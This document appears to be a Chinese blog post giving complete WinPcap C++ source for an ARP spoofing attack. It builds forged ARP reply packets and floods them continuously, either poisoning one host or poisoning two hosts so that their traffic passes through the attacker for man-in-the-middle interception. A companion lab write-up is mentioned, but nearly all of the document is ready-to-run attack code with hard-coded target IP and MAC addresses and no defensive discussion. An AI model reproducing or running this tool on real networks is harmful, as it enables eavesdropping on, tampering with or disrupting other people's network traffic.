使用winpcap实现ARP欺骗代码
实验过程见 winpcap实现ARP欺骗攻击实验过程
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#define HAVE_REMOTE
#define WIN32
#include <iostream>
#include "pcap.h"
#pragma comment(lib,"wpcap")
using namespace std;
//对齐
#pragma pack (1)
//MAC地址
struct mac_address {
u_char byte[6];
};
struct eth_head {
mac_address destMAC; //目的MAC地址 6字节
mac_address sourceMAC; //源MAC地址 6字节
u_short type; //帧类型, 0x0806是ARP帧的类型值
};
struct arp_head
{
unsigned short hardwareType; //硬件类型
unsigned short protocolType; //协议类型
unsigned char hardwareAddLen; //硬件地址长度
unsigned char protocolAddLen; //协议地址长度
unsigned short op; //op,操作类型
mac_address sourceMAC; //发送方MAC地址
unsigned long sourceIP; //发送方IP地址
mac_address destMAC; //目的MAC地址
unsigned long destIP; //目的IP地址
};
struct arp_packet
{
eth_head apt_eth_head;
arp_head apt_arp_head;
};
#pragma pack ()
//单向欺骗
int mod1(pcap_t* adhandle)
{
//伪造ARP Relpy包
//目标信息
string DstIP = "192.168.243.80";
u_char DstMAC[6] = { 0x00,0x0C,0x29,0xB0,0xD7,0x94 };
//源信息
string SrcIP = "192.168.243.33";
u_char SrcMAC[6] = { 0x7C,0xB2,0x7D,0xD4,0xE9,0xDC }; //假MAC地址(攻击机MAC)
eth_head eh; //以太网头
arp_head ah; //ARP头
for (int i = 0; i < 6; i++)
eh.destMAC.byte[i] = DstMAC[i];
for (int i = 0; i < 6; i++)
eh.sourceMAC.byte[i] = SrcMAC[i];
eh.type = htons(0x0806); //ARP类型
ah.hardwareType = htons(0x0001);
ah.protocolType = htons(0x0800);
ah.hardwareAddLen = 0x06;
ah.protocolAddLen = 0x04;
ah.op = htons(0x0002);
ah.sourceMAC = eh.sourceMAC;
ah.sourceIP = inet_addr(SrcIP.c_str());
ah.destMAC = eh.destMAC;
ah.destIP = inet_addr(DstIP.c_str());
arp_packet* apt = NULL;
unsigned char sendbuffer[80];
memset(sendbuffer, 0, sizeof(sendbuffer));
apt = (arp_packet*)sendbuffer;
apt->apt_eth_head = eh;
apt->apt_arp_head = ah;
while (true)
{
if (pcap_sendpacket(adhandle, sendbuffer, sizeof(sendbuffer)) != 0)
{
cout << "packets send ERROR!" << endl;
return -1;
}
cout << "SEND SUCCESS" << endl;
Sleep(100);
}
return 0;
}
//双向欺骗
int mod2(pcap_t* adhandle)
{
//主机A
string A_IP = "192.168.243.80";
u_char A_MAC[6] = { 0x00,0x0C,0x29,0xB0,0xD7,0x94 };
//主机B
string B_IP = "192.168.243.53";
u_char B_MAC[6] = { 0x00,0x0C,0x29,0x64,0x03,0x99 };
//攻击机C
string C_IP = "";
u_char C_MAC[6] = { 0x7C,0xB2,0x7D,0xD4,0xE9,0xDC };
//发送给A的包
eth_head eh_A; //以太网头
arp_head ah_A; //ARP头
for (int i = 0; i < 6; i++)
eh_A.destMAC.byte[i] = A_MAC[i];
for (int i = 0; i < 6; i++)
eh_A.sourceMAC.byte[i] = C_MAC[i];
eh_A.type = htons(0x0806); //ARP类型
ah_A.hardwareType = htons(0x0001);
ah_A.protocolType = htons(0x0800);
ah_A.hardwareAddLen = 0x06;
ah_A.protocolAddLen = 0x04;
ah_A.op = htons(0x0002);
ah_A.sourceMAC = eh_A.sourceMAC;
ah_A.sourceIP = inet_addr(B_IP.c_str());
ah_A.destMAC = eh_A.destMAC;
ah_A.destIP = inet_addr(A_IP.c_str());
//发送给B的包
eth_head eh_B; //以太网头
arp_head ah_B; //ARP头
for (int i = 0; i < 6; i++)
eh_B.destMAC.byte[i] = B_MAC[i];
for (int i = 0; i < 6; i++)
eh_B.sourceMAC.byte[i] = C_MAC[i];
eh_B.type = htons(0x0806); //ARP类型
ah_B.hardwareType = htons(0x0001);
ah_B.protocolType = htons(0x0800);
ah_B.hardwareAddLen = 0x06;
ah_B.protocolAddLen = 0x04;
ah_B.op = htons(0x0002);
ah_B.sourceMAC = eh_B.sourceMAC;
ah_B.sourceIP = inet_addr(A_IP.c_str());
ah_B.destMAC = eh_B.destMAC;
ah_B.destIP = inet_addr(B_IP.c_str());
arp_packet* apt_A = NULL;
unsigned char sendbuffer_A[80];
memset(sendbuffer_A, 0, sizeof(sendbuffer_A));
apt_A = (arp_packet*)sendbuffer_A;
apt_A->apt_eth_head = eh_A;
apt_A->apt_arp_head = ah_A;
arp_packet* apt_B = NULL;
unsigned char sendbuffer_B[80];
memset(sendbuffer_B, 0, sizeof(sendbuffer_B));
apt_B = (arp_packet*)sendbuffer_B;
apt_B->apt_eth_head = eh_B;
apt_B->apt_arp_head = ah_B;
while (true)
{
if (pcap_sendpacket(adhandle, sendbuffer_A, sizeof(sendbuffer_A)) != 0)
{
cout << "packets send ERROR! A" << endl;
return -1;
}
if (pcap_sendpacket(adhandle, sendbuffer_B, sizeof(sendbuffer_B)) != 0)
{
cout << "packets send ERROR! B" << endl;
return -1;
}
cout << "SEND SUCCESS" << endl;
Sleep(100);
}
return 0;
}
int main()
{
pcap_if_t* alldevs;
pcap_if_t* d;
char errbuf[PCAP_ERRBUF_SIZE];
//获取设备列表
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
{
cout << "Error in pacp_findalldevs_ex:" << errbuf << endl;
return -1;
}
int i = 0;
for (d = alldevs; d != NULL; d = d->next)
{
cout << endl;
cout << i++ << " " << d->name << endl;
if (d->description)
cout << " <" << d->description << ">" << endl;
else
cout << " <No description>" << endl;
}
if (i == 0)
{
cout << "No interfaces found!" << endl;
return -1;
}
while (true)
{
int n;
cout << "\nchose interface:";
cin >> n;
if (n == -1)
{
pcap_freealldevs(alldevs);
return 0;
}
if (n < 0 || n >= i)
continue;
for (d = alldevs, i = 0; i < n; d = d->next, i++);
cout << n << " " << d->name << endl;
if (d->description)
cout << " <" << d->description << ">" << endl;
else
cout << " <No description>" << endl;
break;
}
//打开与网络适配器绑定的设备
pcap_t* adhandle;
if ((adhandle = pcap_open(d->name, 65535, PCAP_OPENFLAG_PROMISCUOUS, 1000, NULL, errbuf)) == NULL)
{
cout << "ERROR in open" << endl;
pcap_freealldevs(alldevs);
return -1;
}
pcap_freealldevs(alldevs);
//单向还是双向欺骗
//mod1(adhandle);
mod2(adhandle);
return 0;
}